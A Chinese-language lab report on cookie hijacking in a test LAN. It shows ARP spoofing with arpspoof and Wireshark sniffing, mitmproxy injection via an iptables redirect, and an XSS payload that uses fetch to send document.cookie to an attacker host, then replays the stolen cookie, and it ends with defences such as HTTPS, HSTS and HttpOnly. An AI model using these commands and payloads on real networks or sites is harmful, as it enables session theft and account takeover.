## 实验目的 通过Cookie劫持被动攻击和主动攻击实验,认识Cookie的的作用和重要性,并了解如何保护Cookie的安全。 ### 实验环境 - http服务 go1.20.5 - 服务器 win11 - 攻击机 kali2023 - 受害者1 ubuntu23.04 - 浏览器1 firefox - 受害者2 android13 - 浏览器2 via 假设攻击者和受害者位于同一局域网中,攻击者IP:192.168.107.129,受害者IP:192.168.107.128,服务器IP:192.168.107.1 网关IP:192.168.107.2 #### 实验代码路由 ```go /login /register /comment ``` 访问过 register 路由之后,login 路由会直接读取 session 来识别用户。comment 路由是一个评论功能。 ## 基础部分 ### cookie 劫持被动攻击 攻击者打开ip转发功能,使用命令 ```text sudo bash -c 'echo 1 > /proc/sys/net/ipv4/ip_forward' ``` 攻击者使用Arpspoof工具打开ARP欺骗功能,其中 192.168.107.128 是受害者IP地址,192.168.107.2 是网关地址,伪装成网关,就能够监听用户请求。使用命令: ```text arpspoof -i eth0 -t 192.168.107.128 192.168.107.2 ``` ![image](https://hackmd.io/_uploads/By8v9s3Qp.png) ARP欺骗已经成功开启 攻击者打开WireShark抓包工具,选择接口eth0,开始抓包 受害者访问 http://192.168.107.1:8000/register 首先设置用户名,访问 http://192.168.107.1:9000/login, 可以看见自己的用户名 ![image](https://hackmd.io/_uploads/S1eRqnhmT.png) 攻击者选择 http 筛选即可找到cookie ``` mysession=MTY5OTY5MTMzOXxEdi1CQkFFQ180SUFBUkFCRUFBQUpmLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBa0FCMmRwWVdOdmJXOD18y4LmPkJa0m62eGKS7gABLg2KZGdWvsqiFa9RAruEI4g= ``` ![image](https://hackmd.io/_uploads/Skzqs33ma.png) 把 cookie 导入至火狐浏览器,刷新页面,即可登录受害者的账户。 ![image](https://hackmd.io/_uploads/rJhQR3hQT.png) ### Cookie劫持主动攻击 假设攻击者和受害者位于同一局域网中,攻击者IP:192.168.107.129,受害者IP:192.168.107.128,服务器IP:192.168.107.1,网关IP:192.168.107.2,假设受害者已经登录了他在192.168.107.1 的账户 ![image](https://hackmd.io/_uploads/H1UtxGama.png) 攻击者打开ip转发功能.使用Arpspoof工具打开ARP欺骗功能,其中 192.168.107.128 是受害者IP地址,192.168.107.2 是网关地址,伪装成网关。使用命令: ```text arpspoof -i eth0 -t 192.168.107.128 192.168.107.2 ``` 此时网关的 mac 地址已经受骗 ![image](https://hackmd.io/_uploads/H1-L7famT.png) 设置 iptables 的端口转发,其中 8081 为mitmproxy 的端口 ```text iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8081 ``` 用 mitmproxy 修改返回的 html,添加 `<img src="">` 代码 ![image](https://hackmd.io/_uploads/B15GIWaXp.png) 在浏览器中验证已经插入代码 ![image](https://hackmd.io/_uploads/H1zuwZTmT.png) wireshark 抓包得到了cookie ![image](https://hackmd.io/_uploads/Hy6Z_bpma.png) 和被动攻击类似。将cookie导入浏览器,可以登录。 ## 拓展部分 ### 在手机上使用 xss 泄露 cookie 模拟一个有xss漏洞的评论系统。XSS跨站脚本攻击(Cross Site Scripting),的本质是攻击者在web页面插入恶意的script代码(这个代码可以是JS脚本、CSS样式或者其他意料之外的代码),当用户浏览该页面之时,嵌入其中的script代码会被执行,从而达到恶意攻击用户的目的。比如读取cookie,session,tokens,或者网站其他敏感的网站信息。 <img src="https://hackmd.io/_uploads/S1NzagR7a.png" alt="image" style="zoom:50%;" /> 插入恶意的评论 - onerror 事件会在文档或图像加载过程中发生错误时被触发。 - document.cookie 获取网页的 cookie - fetch 带上 cookie 发送请求 ```html <img src='1' onerror='fetch("http://ip:9000/?flag="+document.cookie)'> ``` 当受害者点击这个评论界面,就会将 cookie 发送给 ip。接收该请求: ![image](https://hackmd.io/_uploads/ByTeRxCXT.png) 把 cookie 导入进浏览器,经过验证可以登录 ![image](https://hackmd.io/_uploads/SyoNhe0Qp.png) ## 实验结论 ### 基于 http 的 cookie 泄露 #### 攻击者攻击的前提条件 1. 攻击者和受害者必须处在同一局域网当中,这样攻击者才能够拦截到受害者的网络流量 2. 受害者在攻击者攻击前登录了相应的网站,该网站存在未使用HTTPS加密的页面 #### 预防方法 对于网站开发者,应对网站启用HTTPS以及HSTS,HSTS的作用是强制客户端(如浏览器)使用HTTPS与服务器创建连接;开发者应对网站的Cookie设置Secure和HttpOnly安全标志,设置了Secure安全标志后Cookie会仅在使用HTTPS协议时发送,使用HTTP协议不发送。 对于普通用户,应做到尽量不连接未加密的公共WiFi网络(如机场、咖啡店等场所的免费WiFi),在连接到公共WiFi时也应该尽量避免输入用户名和口令进行登录操作,防止Cookie泄露。 ### 基于 xss 的 cookie 泄露 #### 攻击者攻击的前提条件 1. 网站存在 xss 漏洞 2. 受害者在攻击者攻击前登录了相应的网站3 #### 预防方法 开发者过滤用户输入,将用户输入转义,而不是直接以html格式显示。设置 HTTP-only Cookie:,禁止 JavaScript 读取某些敏感 Cookie,攻击者完成 XSS 注入后也无法窃取此 Cookie。